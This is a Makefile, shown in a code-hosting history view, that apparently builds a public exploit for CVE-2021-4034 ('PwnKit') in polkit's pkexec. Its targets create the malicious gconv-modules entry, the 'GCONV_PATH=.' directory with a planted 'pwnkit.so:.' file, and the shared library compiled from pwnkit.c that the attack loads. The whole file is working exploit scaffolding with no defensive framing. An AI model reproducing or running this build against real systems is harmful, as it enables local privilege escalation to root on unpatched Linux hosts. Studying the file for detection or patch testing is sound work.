CVE-2021-4034/Makefile

26 lines
469 B
Makefile
Raw Normal View History

2022-01-26 03:03:31 +03:00
CFLAGS=-Wall
TRUE=$(shell which true)
2022-01-26 03:03:31 +03:00
.PHONY: all
all: pwnkit.so cve-2021-4034 gconv-modules gconvpath
.PHONY: clean
clean:
rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./
make -C dry-run clean
2022-01-26 03:03:31 +03:00
gconv-modules:
echo "module UTF-8// PWNKIT// pwnkit 1" > $@
.PHONY: gconvpath
gconvpath:
mkdir -p GCONV_PATH=.
cp -f $(TRUE) GCONV_PATH=./pwnkit.so:.
2022-01-26 03:03:31 +03:00
pwnkit.so: pwnkit.c
$(CC) $(CFLAGS) --shared -fPIC -o $@ $<
.PHONY: dry-run
dry-run:
make -C dry-run